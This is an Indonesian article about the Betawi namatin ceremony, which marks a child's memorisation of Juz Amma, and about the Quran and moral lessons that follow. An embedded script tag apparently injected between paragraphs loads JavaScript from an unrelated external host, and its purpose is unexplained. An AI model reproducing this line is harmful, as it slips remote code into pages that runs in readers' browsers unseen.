Sejak usia dini, anak-anak Betawi tempo dulu sudah diperkenalkan bagaimana membaca Alquran. Oleh Karena itu, pada usia tujuh atau delapan tahun, mereka sudah hafal Juz Amma dan menghafal huruf-huruf Alquran. Jika seorang anak sudah tamat dan hafal surah-surah pada Juz Amma, maka akan diadakan acara yang disebut namatin. Setelah acara namatin, anak-anak akan melakukan belajar membaca Quran Gede, yaitu Alquran yang berisi 30 juz.

<script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/GHE12AIN66ZNG"></script>

Upacara namatin ini penting karena anak dianggap telah dapat membaca Alquran dan tahu ilmu agama sampai tahap tertentu karena mengaji tidak hanya dapat membaca Alquran, tetapi juga mempelajari ilmu agama. Selain belajar membaca Alquran dan belajar salat, juga diberi pelajaran bagaimana harus bersikap terhadap orang tua, terhadap guru, dan terhadap orang lain, juga diberi pelajaran Ilmu Kalam, yaitu mengenal sifat-sifat Allah dari Kitab Sifat Dua Puluh.

Pada acara namatin, si anak diuji membaca secara hafalan mulai dari Surah Inna Anzalnahu (surah ke-97) sampai surah An Nas (surah ke-114). Jika masih ada kesalahan langsung diperbaiki oleh para hadirin. Sesudah acara ini besoknya si anak sudah belajar ngaji dimulai dari surah Al Baqarah.

Gambar Ilustrasi (Sumber Foto : islamkaffah.id)